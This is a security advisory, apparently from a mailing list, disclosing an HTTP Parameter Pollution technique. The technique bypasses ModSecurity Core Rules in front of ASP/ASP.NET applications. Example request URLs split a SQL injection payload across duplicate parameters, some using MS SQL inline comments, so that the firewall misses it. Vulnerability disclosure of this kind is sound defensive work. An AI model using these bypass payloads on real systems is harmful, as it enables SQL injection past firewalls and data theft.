=A0 ========================================================================A0 ModSecurity (Core Rules) HPP Filter Bypass Vulnerability
=A0 =======================================================================
=A0 Affected Software : ModSecurity <= 2.5.9 using ModSecurity Core
Rules <= 2.5-1.6.1
=A0 Author=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 : Lavakumar Kuppan - lavakumar[dot]in[at]gmail[dot]com
=A0 Advisory URL=A0=A0=A0=A0=A0=A0 : http://www.lavakumar.com 
=A0 Severity=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 : High
=A0 Local/Remote=A0=A0=A0=A0=A0=A0 : Remote

=A0 [Vulnerability Details]

=A0 Modsecurity is an Open source Web Application firewall which runs as an Apache
=A0 module. It has a comprehensive set of rules called 'ModSecurity Core
Rules' for common web application
=A0 attacks like SQL Injection, Cross-Site Scripting etc.

=A0 It is possible to bypass the ModSecurity Core Rules due to the
difference in behaviour
=A0 of ModSecurity and ASP/ASP.NET applications in handling duplicate
HTTP GET/POST/Cookie
=A0 parameters. Using duplicate parameters has been termed as HTTP
Parameter Pollution by Luca Carettoni
=A0 and Stefano Di Paola.

=A0 When multiple GET/POST/Cookie parameters of the same name are passed
in the HTTP request
=A0 to ASP and ASP.NET applications they are treated as an array collection.
=A0 This leads to the values being concatenated with a comma inbetween them.

=A0 For example when the following query is sent to the server:
=A0 -----------------------------
=A0 POST /index.aspx?a=1&a=2
=A0 Host: www.example.com 
=A0 Cookie: a=5; a=6
=A0 Content-Length: 7

=A0 a=3&a=4
=A0 -----------------------------

=A0 The server side interpretation of this data is as follows:

=A0 Request.Params["a"] =A0=A0=A0 =A0=A0 --> "1,2,3,4,5,6" ( if "a" was registered
as a server-side control ) (ASP.NET Only)
=A0 Request.Params["a"] =A0=A0=A0 =A0=A0 --> "1,2,5,6" ( if "a" was not registered
as a server-side control ) (ASP.NET Only)
=A0 Request.QueryString["a"] --> "1,2" (ASP and ASP.NET)
=A0 Request.Form["a"]=A0=A0=A0 =A0=A0 --> "3,4" (ASP and ASP.NET)

=A0 This behaviour is unique to ASP and ASP.NET applications and
ModSecurity does not interpret this data in the
=A0 same way. When dealt with multiple parameters of the same name
ModSecurity matches the value of each instance
=A0 of the parameter seperately against its rule base. Incase of the
above example ModSecurity would run '1' against
=A0 the rule set first then '2' and so on till '6'.

=A0 Since data is interpreted differently by the Web Application and the
Firewall this produces intresting possibilities
=A0 for a filter bypass scenario.

=A0 This theory was tested against the SQL Injection rule base of
ModSecurity Core Rules and was found to bypass the
=A0 default-enabled rule set successfully.

=A0 The following request is blocked by ModSecurity as this matches its
Generic SQL Injection Attack rule.

=A0=A0 http://example.com/search.aspx?value=select 1,2,3 from table 

=A0 ModSecurity Interpretation:
=A0=A0 value = select 1,2,3 from table
=A0 Web Application Interpretation:
=A0=A0 value = select 1,2,3 from table

=A0 However the same payload can be sent to the server by splitting it
using duplicate parameters like below.

=A0=A0 http://example.com/search.aspx?value=select 1&value=2,3 from table 

=A0 ModSecurity Interpretation:
=A0=A0 value = select 1
=A0=A0 value = 2,3 from table
=A0 Web Application Interpretation:
=A0=A0 value select 1,2,3 from table

=A0 The attack can be made more flexible by using the inline comment
feature in MS SQL servers.

=A0=A0 http://example.com/search.aspx?value=select/*&value=*/1,2,3/*&value=*/from/*&value=*/table 

=A0 ModSecurity Interpretation:
=A0=A0 value=select/*
=A0=A0 value=*/1,2,3/*
=A0=A0 value=*/from/*
=A0=A0 value=*/table
=A0 Web Application Interpretation:
=A0=A0 value = select/*,*/1,2,3/*,*/from/*,*/table

=A0 This technique could possibly be extended to exploit other types of
Web Application vulnerabilities as well.

=A0 Refer the whitepaper 'Split and Join' (see references) for more
details on this attack.

=A0 [Fix Information]

=A0=A0 N/A

=A0 [References]

=A0 http://www.lavakumar.com/Split_and_Join.pdf 
=A0 http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf 

=A0 [Legal Notices]

=A0 The information in the advisory is believed to be accurate at the
=A0 time of publishing based on currently available information.
=A0 This information is provided as-is, as a free service to the community.
=A0 There are no warranties with regard to this information.
=A0 The author does not accept any liability for any direct,
=A0 indirect, or consequential loss or damage arising from use of,
=A0 or reliance on, this information.
=A0 Permission is hereby granted for the redistribution of this alert,
=A0 provided that the content is not altered in any way, except
=A0 reformatting, and that due credit is given.

=A0 This vulnerability has been disclosed in accordance with the RFP
=A0 Full-Disclosure Policy v2.0, available at:
=A0 http://www.wiretrip.net/rfp/policy.html